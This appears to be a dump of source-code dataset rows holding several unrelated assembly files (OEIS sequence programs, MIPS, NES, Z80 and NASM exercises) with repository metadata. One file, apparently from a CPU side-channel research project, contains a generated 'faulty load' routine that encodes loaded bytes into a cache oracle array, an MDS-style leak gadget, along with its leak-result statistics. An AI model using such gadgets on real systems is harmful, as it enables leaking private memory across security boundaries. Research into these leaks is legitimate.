seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $5,$1
add $1,3
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,18
add $5,$1
add $1,2
mov $6,$5
add $5,2
lpe
mov $0,$5
sub $0,1
| 35.041667 | 501 | 0.728894 |
8076d2d8addf4b39c2f5ce57cd909a0870b48114 | 7,495 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i7-7700_9_0xca.log_21829_1459.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i7-7700_9_0xca.log_21829_1459.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i7-7700_9_0xca.log_21829_1459.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x10d77, %rax
nop
cmp $37290, %rsi
mov $0x6162636465666768, %r11
movq %r11, (%rax)
nop
xor $23715, %rbp
lea addresses_WT_ht+0x3307, %rsi
lea addresses_WC_ht+0x16647, %rdi
nop
nop
nop
nop
and $42055, %r14
mov $123, %rcx
rep movsb
nop
nop
nop
sub %rcx, %rcx
lea addresses_UC_ht+0x9807, %rdi
clflush (%rdi)
nop
add %rax, %rax
mov (%rdi), %r14w
nop
nop
cmp $5056, %rsi
lea addresses_WT_ht+0x15fe7, %rsi
lea addresses_WC_ht+0x1db2f, %rdi
nop
nop
nop
nop
nop
and $56311, %r8
mov $78, %rcx
rep movsw
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x2247, %r14
nop
nop
nop
nop
add $62447, %rdi
movb $0x61, (%r14)
nop
nop
nop
inc %rbp
lea addresses_normal_ht+0x3087, %rsi
lea addresses_D_ht+0x156e7, %rdi
nop
nop
nop
nop
nop
cmp %r14, %r14
mov $33, %rcx
rep movsq
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_WT_ht+0xde7, %r11
lfence
movb $0x61, (%r11)
nop
nop
nop
nop
nop
dec %rsi
lea addresses_D_ht+0xe247, %rsi
lea addresses_UC_ht+0xf0a7, %rdi
and %rax, %rax
mov $12, %rcx
rep movsl
xor %rcx, %rcx
lea addresses_UC_ht+0xa557, %r14
nop
nop
nop
sub %rsi, %rsi
mov (%r14), %bp
nop
nop
nop
nop
nop
xor $19906, %r8
lea addresses_WT_ht+0x65f9, %r8
clflush (%r8)
nop
xor $50725, %rdi
mov (%r8), %eax
xor %r14, %r14
lea addresses_UC_ht+0x6647, %rsi
lea addresses_normal_ht+0x7307, %rdi
cmp %r11, %r11
mov $49, %rcx
rep movsw
nop
nop
nop
nop
nop
add $19426, %r8
lea addresses_WC_ht+0x18c7, %r11
nop
nop
nop
add $10279, %rax
mov (%r11), %r14w
nop
and %rax, %rax
lea addresses_WT_ht+0x18b0a, %rsi
lea addresses_WT_ht+0x5ac7, %rdi
clflush (%rsi)
nop
nop
nop
and $63900, %rbp
mov $102, %rcx
rep movsl
nop
nop
and %rax, %rax
lea addresses_normal_ht+0x3247, %rsi
nop
nop
add %rdi, %rdi
movw $0x6162, (%rsi)
nop
nop
nop
nop
mfence
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r8
push %r9
push %rax
push %rdx
// Faulty Load
lea addresses_UC+0x18247, %rax
nop
nop
xor %r9, %r9
mov (%rax), %edx
lea oracles, %r12
and $0xff, %rdx
shlq $12, %rdx
mov (%r12,%rdx,1), %rdx
pop %rdx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': True, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': True, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': True, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': True, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 5, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}}
{'44': 6280, '49': 13, '00': 15501, '04': 35}
00 00 00 00 00 44 00 44 00 44 00 00 44 00 00 00 00 00 44 00 00 00 00 44 00 00 00 44 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 00 44 00 44 44 44 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 44 44 00 44 00 44 44 44 00 00 00 00 00 00 00 00 00 44 44 00 44 00 00 00 00 44 00 00 44 44 00 44 44 00 00 00 00 44 00 00 44 44 44 00 44 44 00 44 00 44 00 00 00 00 00 00 00 44 00 44 44 00 44 00 00 00 00 00 00 00 00 00 00 44 04 44 44 44 00 00 44 44 00 44 00 00 00 00 00 00 00 00 00 44 00 00 00 44 00 44 00 00 00 00 00 00 00 44 00 00 00 00 00 44 00 00 44 44 00 44 00 44 00 00 00 00 00 00 00 00 00 00 00 00 44 44 44 00 44 00 00 00 44 00 00 00 00 44 44 00 44 00 44 00 00 44 00 00 00 44 00 00 44 00 44 00 00 00 44 00 00 44 44 00 00 44 44 00 44 44 00 00 44 00 00 00 00 44 00 00 00 00 44 44 44 00 44 00 00 00 00 00 44 00 00 00 00 44 00 44 00 44 44 44 44 44 00 00 00 00 00 44 00 00 00 00 44 00 00 00 44 00 00 44 44 44 00 00 44 00 00 00 00 44 00 44 44 44 44 00 00 00 00 44 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 49 44 00 44 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 44 44 00 44 00 44 44 00 00 00 00 00 44 00 00 00 44 00 00 44 00 44 00 00 00 00 00 44 00 00 00 00 00 44 00 00 00 44 44 00 00 44 00 44 44 44 00 00 00 00 00 00 00 00 00 00 44 44 44 44 00 00 00 00 00 00 44 44 44 00 00 44 00 00 00 44 00 44 00 44 44 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 44 44 00 00 00 00 00 44 00 44 44 00 00 00 00 00 00 00 00 44 44 44 00 00 44 00 44 44 00 00 00 00 44 00 44 00 44 00 00 44 00 00 00 00 44 44 44 44 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 44 00 44 00 00 00 44 44 44 00 44 44 00 00 44 00 00 44 44 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 44 00 00 00 00 44 00 44 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 44 00 00 00 00 44 00 44 00 00 44 00 00 00 00 44 44 00 00 00 00 00 44 00 00 00 44 00 00 44 44 00 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 44 00 00 44 00 00 00 00 44 44 44 00 44 00 00 44 00 44 00 00 44 00 00 00 00 00 44 00 44 00 44 00 44 00 00 44 00 00 44 44 00 44 00 00 00 44 44 00 00 00 44 00 00 44 00 44 00 00 00 00 44 44 00 44 00 00 00 00 00 00 44 00 44 00 44 00 00 00 44 00 44 00 44 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 44 00 00 00 44 00 00 00 00 44 00 44 00 00 44 44 44 44 00 00 00 44 00 00 00 44 44 00 44 00 44 00 00 00 00 00 00 00 00 00 00 44 00 00 44 44 44 44 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 44 00 44 00 00 00 00 00 00 00 00 00 00 44 00 44 44 44 00 00 44 44 00 00 00 44 00 44 00 44 44 44 00 00 44 00 00 00 00 44 00 00 44 00 00 00 44 44 00 00 00 00 44 00 00 00 00 00 00 44 00 00 00 00 44 44 00 44 00 00 00 44 44 00 44 00 00 44 44 00 00 44 44 44 00 00 00 00 00 00 00 00 00 00 44 00 00 44 00 00 00 00 44 00 44 00 44 00 00 00 00 00 44 44 00 44 44 00 44 00 00 00 44 00 44 00 44 44 00 44 00 00 44 44 00 00 44 44 00 00 44 00 00 44 00 00 44 44 00 00 44 00 00 44 00 00 44 44 00 44 44 00 44 44 00 00 00 44 00 00 44 00 00
*/
| 35.353774 | 2,999 | 0.656971 |
88d973e550d172443e05a5ef788060303a5d16ec | 626 | asm | Assembly | Project 1/src/Project/program4.asm | Nurl4n/Computer-Organization | 1655d2e35dd5093e6c348545db06f698f2edb86c | [
"MIT"
] | null | null | null | Project 1/src/Project/program4.asm | Nurl4n/Computer-Organization | 1655d2e35dd5093e6c348545db06f698f2edb86c | [
"MIT"
] | null | null | null | Project 1/src/Project/program4.asm | Nurl4n/Computer-Organization | 1655d2e35dd5093e6c348545db06f698f2edb86c | [
"MIT"
] | null | null | null | .data
x: .asciiz "Enter value for x: "
y: .asciiz "Enter value for y: "
endl: .asciiz "\n"
result: "The result is: "
.text
main:
li $v0, 4
la $a0, x
syscall
li $v0, 5
syscall
move $t0, $v0
li $v0, 4
la $a0, endl
syscall
li $v0, 4
la $a0, y
syscall
li $v0, 5
syscall
move $t1, $v0
li $v0, 4
la $a0, endl
syscall
jal calculate
li $v0, 4
la $a0, result
syscall
li $v0, 1
move $a0, $s0
syscall
# Execution stops
li $v0, 10
syscall
calculate:
sll $t0,$t0,1
add $t0, $t0, $t1
addi $t2, $zero, 4
div $t0, $t2
mfhi $s0
jr $ra
| 10.793103 | 33 | 0.528754 |
44b4ddcaf8a902418f8b09339bc6c19343729bb5 | 688 | asm | Assembly | src/lib/hello_world.asm | battlelinegames/nes-hello-world | 957b512d973ce56f9ac0901d563a8272fdc78535 | [
"MIT"
] | 10 | 2018-11-14T05:50:44.000Z | 2021-04-22T21:34:24.000Z | src/lib/hello_world.asm | battlelinegames/nes-hello-world | 957b512d973ce56f9ac0901d563a8272fdc78535 | [
"MIT"
] | null | null | null | src/lib/hello_world.asm | battlelinegames/nes-hello-world | 957b512d973ce56f9ac0901d563a8272fdc78535 | [
"MIT"
] | 2 | 2020-10-15T06:54:59.000Z | 2021-07-07T01:58:34.000Z |
; this code will be called from the nmi
.macro printf_nmi STRING, XPOS, YPOS ; 32, 128
.local ROW
.local COL
.local BYTE_OFFSET_HI
.local BYTE_OFFSET_LO
ROW = YPOS / 8 ; 128 / 8 = 16
COL = XPOS / 8 ; 32 / 8 = 4
BYTE_OFFSET_HI = (ROW * 32 + COL) / 256 + 32 ; (16 * 32 + 4) / 256 + 20
BYTE_OFFSET_LO = (ROW * 32 + COL) .mod 256
lda PPU_STATUS ; PPU_STATUS = $2002
lda #BYTE_OFFSET_HI
sta PPU_ADDR ; PPU_ADDR = $2006
lda #BYTE_OFFSET_LO
sta PPU_ADDR ; PPU_ADDR = $2006
.repeat .strlen(STRING), I
lda #.strat(STRING, I)
sta PPU_DATA
.endrep
.endmacro | 27.52 | 76 | 0.545058 |
3effa8d4eadd77945d4d8e6e9a4558d340c6487a | 1,703 | asm | Assembly | programs/oeis/255/A255185.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/255/A255185.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/255/A255185.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A255185: 26-gonal numbers: a(n) = n*(12*n-11).
; 0,1,26,75,148,245,366,511,680,873,1090,1331,1596,1885,2198,2535,2896,3281,3690,4123,4580,5061,5566,6095,6648,7225,7826,8451,9100,9773,10470,11191,11936,12705,13498,14315,15156,16021,16910,17823,18760,19721,20706,21715,22748,23805,24886,25991,27120,28273,29450,30651,31876,33125,34398,35695,37016,38361,39730,41123,42540,43981,45446,46935,48448,49985,51546,53131,54740,56373,58030,59711,61416,63145,64898,66675,68476,70301,72150,74023,75920,77841,79786,81755,83748,85765,87806,89871,91960,94073,96210,98371,100556,102765,104998,107255,109536,111841,114170,116523,118900,121301,123726,126175,128648,131145,133666,136211,138780,141373,143990,146631,149296,151985,154698,157435,160196,162981,165790,168623,171480,174361,177266,180195,183148,186125,189126,192151,195200,198273,201370,204491,207636,210805,213998,217215,220456,223721,227010,230323,233660,237021,240406,243815,247248,250705,254186,257691,261220,264773,268350,271951,275576,279225,282898,286595,290316,294061,297830,301623,305440,309281,313146,317035,320948,324885,328846,332831,336840,340873,344930,349011,353116,357245,361398,365575,369776,374001,378250,382523,386820,391141,395486,399855,404248,408665,413106,417571,422060,426573,431110,435671,440256,444865,449498,454155,458836,463541,468270,473023,477800,482601,487426,492275,497148,502045,506966,511911,516880,521873,526890,531931,536996,542085,547198,552335,557496,562681,567890,573123,578380,583661,588966,594295,599648,605025,610426,615851,621300,626773,632270,637791,643336,648905,654498,660115,665756,671421,677110,682823,688560,694321,700106,705915,711748,717605,723486,729391,735320,741273
mov $1,$0
bin $0,2
mul $0,24
add $1,$0
| 212.875 | 1,613 | 0.829125 |
03f087dbd5e2d95714c2fa536713433fae6f6764 | 251 | asm | Assembly | test/jzas/sintactic/valid/success40.asm | scoffey/jz80sim | 0de07a5ef51a1e7131b27056744459f29cd11d39 | [
"MIT"
] | 1 | 2015-03-27T15:58:50.000Z | 2015-03-27T15:58:50.000Z | test/jzas/sintactic/valid/success40.asm | scoffey/jz80sim | 0de07a5ef51a1e7131b27056744459f29cd11d39 | [
"MIT"
] | null | null | null | test/jzas/sintactic/valid/success40.asm | scoffey/jz80sim | 0de07a5ef51a1e7131b27056744459f29cd11d39 | [
"MIT"
] | null | null | null | ; Ejercicio 12 del TP 12.
; Incrementea el contenido de la posicion 1900h
; hasta que se active el flag de carry
aseg
org 1850h
start:
ld A, (1900h)
sigue: inc A
jp NC,sigue
rst 38h
end start
| 13.210526 | 50 | 0.569721 |
0532f519f854d011d415b1ac342fd7b57809b46d | 2,418 | asm | Assembly | MP/Assignment_8/Ass8.asm | pratt3000/PICT_SE-Labs | e720414549fe07351055f2075d45755ba181876a | [
"MIT"
] | 3 | 2019-10-15T08:18:52.000Z | 2020-02-16T09:34:45.000Z | MP/Assignment_8/Ass8.asm | pratt3000/PICT_SE-Labs | e720414549fe07351055f2075d45755ba181876a | [
"MIT"
] | null | null | null | MP/Assignment_8/Ass8.asm | pratt3000/PICT_SE-Labs | e720414549fe07351055f2075d45755ba181876a | [
"MIT"
] | 2 | 2019-10-18T15:06:46.000Z | 2020-01-16T06:29:26.000Z | %macro scall 4
mov rax,%1
mov rdi,%2
mov rsi,%3
mov rdx,%4
syscall
%endmacro
section .data
warn : db "File is not opened successfully",0x0A
lenw : equ $-warn
copiedmessage db "Contents Copied",10
lencopied equ $-copiedmessage
msg1 db "TYPE executed"
l1 equ $-msg1
section .bss
fname : resb 10
fname1 : resb 10
fd_in1:resb 8
fd_in2:resb 8
len1: resb 8
buffer : resb 100
section .text
global _start
_start:
;*********PROCESS THE COMMAND LINE ARGUMENT*********
pop rbx
pop rbx
pop rbx
cmp byte[rbx],'T'
je type
cmp byte[rbx],'C'
je copy
cmp byte[rbx],'D'
je delete
;*************TYPE THE CONTENT OF THE FILE*************
type :
pop rbx
call filename
; we got the filename...
; open the file
mov rax,2
mov rdi,fname
mov rsi,2
mov rdx,0777
syscall
mov qword[fd_in1],rax
BT rax,63
jnc down1
scall 1,1,warn,lenw
jmp exit
down1:
mov rax,1
mov rdi,[fd_in1]
mov rsi,msg1
mov rdx,l1
syscall
;rax will return the number of byte read
mov qword[len1],rax
;CLOSE THE FILE
mov rax,3
mov rdi,[fd_in1]
syscall
jmp exit
;*************COPY THE CONTENT OF THE FILE************
copy:
pop rbx
call filename
;we get file name
;open the file
mov rax,2
mov rdi,fname
mov rsi,2
mov rdx,0777
syscall
;return the file descriptor
mov qword[fd_in1],rax
BT rax,63
jnc down2
scall 1,1,warn,lenw
jmp exit
down2:
mov rax,0
mov rdi,[fd_in1]
mov rsi,buffer
mov rdx,100
syscall
mov qword[len1],rax
mov rax,3
mov rdi,[fd_in1]
syscall
mov rbx,0
pop rbx
call filename1
;we got the file name
;open that file
mov rax,2
mov rdi,fname1
mov rsi,2
mov rdx,0777
syscall
mov qword[fd_in2],rax
BT rax,63
jnc down3
scall 1,1,warn,lenw
jmp exit
down3:
mov rax,1
mov rdi,[fd_in2]
mov rsi,buffer
mov rdx,qword[len1]
syscall
mov rax,3
mov rdi,[fd_in2]
syscall
jmp exit
;***********DELETE THE FILE**********************
delete:
pop rbx
call filename
mov rax,87
mov rdi,fname
syscall
jmp exit
;***********FILENAME****************
filename:
mov rsi,rbx
mov rdi,fname
cld
up:
cmp byte[rsi], 0
je down
movsb
jmp up
down:
ret
;*********FILENAME@*************
filename1:
mov rsi,rbx
mov rdi,fname1
cld
up4:
cmp byte[rsi], 0
je down4
movsb
jmp up
down4:
ret
;************EXIT********************
_printcopiedmessage:
scall 1,1,copiedmessage,lencopied
exit:
mov rax,60
mov rdi,0
syscall
| 13.141304 | 55 | 0.635649 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.